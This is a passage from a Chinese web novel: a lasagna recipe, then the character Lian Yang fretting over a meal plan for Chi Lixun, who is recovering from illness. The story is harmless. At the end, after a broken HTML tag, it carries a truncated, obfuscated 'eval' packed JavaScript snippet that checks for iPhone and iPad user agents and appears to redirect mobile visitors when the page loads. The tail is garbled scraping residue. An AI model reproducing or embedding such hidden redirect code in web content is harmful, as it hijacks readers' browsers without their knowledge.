油融化，加入等量面粉，然后少量多次加入牛奶，搅拌成酸奶状。
随后加入半勺肉豆蔻粉和白胡椒粉，适量盐以及帕玛森芝士少许——这是给白酱提供灵魂香味秘诀，让味道更加美味和独特。
关火用余温搅拌一会儿，美味灵魂的芝士奶油白酱便完成。
取出烤盘，连洋往盘底刷上一层底油，平铺白酱打底，盖上一层面皮，一层意式肉酱。
依据个人口味又撒点罗勒叶和帕玛森芝士，再覆盖一层白酱，加入一层马苏里拉芝士。然后按之前的顺序叠加一遍，直到叠满整个烤盘。
烤箱预热，上下火180度烤制30分钟。
烤制完成后，切取适量大小，撒上薄薄一层芝士和欧芹碎做点缀。
一道简便的意式肉酱千层面便完成了。
焦黄滚烫带着浓纯奶香，酸甜番茄与咸香的肉酱交织，内里是多层芝士拉丝，全部盖在Q弹的千层面上，一口下去丰富的香味与口感在舌尖齿间弹跳，饥饿与疲惫瞬间一扫而空。
这就是连洋选择这道高热量食物的原因，他实在是太饿了。
碳水，才能给人类带来最原始的快乐和满足。
连洋一边吃着一边想着给池立勋的晚餐菜单。
给一个久病初愈还挑食到极致的人备菜，绝对算是最麻烦的事了。
从未特意给病号准备过菜单，但是让连洋绞尽脑汁，关键他对池立勋的喜好忌口一无所知。
而身为曾经维持过一年关系的爱人，连洋有又不能直白去问王真意，免得被发现什么端倪。
想着想着，连口中的意式千层面都渐渐变得索然无味了。
“啊，烦死了！”连洋再次把写了一半的菜单划掉。
纠结了许久，直到手机收到王真意委婉的催促信息，连洋抓了下早已凌乱的头发，索性不再多顾虑什么，眨眼功夫写好了一份菜谱，还对烹饪每道菜的关键步骤或注意事项特意标注了出来。
“不吃拉倒，离不成婚，便做寡夫！”
连洋将当年有限几次照顾病人餐食的经验写了下来，全部发给了王真意。
当然连洋还加了条免责声明，池立勋爱吃与否与他无关。
解决完这个麻烦后，终于如释重负。
不过对于这份菜单，连洋还是有点心里没底，就怕万一不小心在池立勋的雷区上蹦迪。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|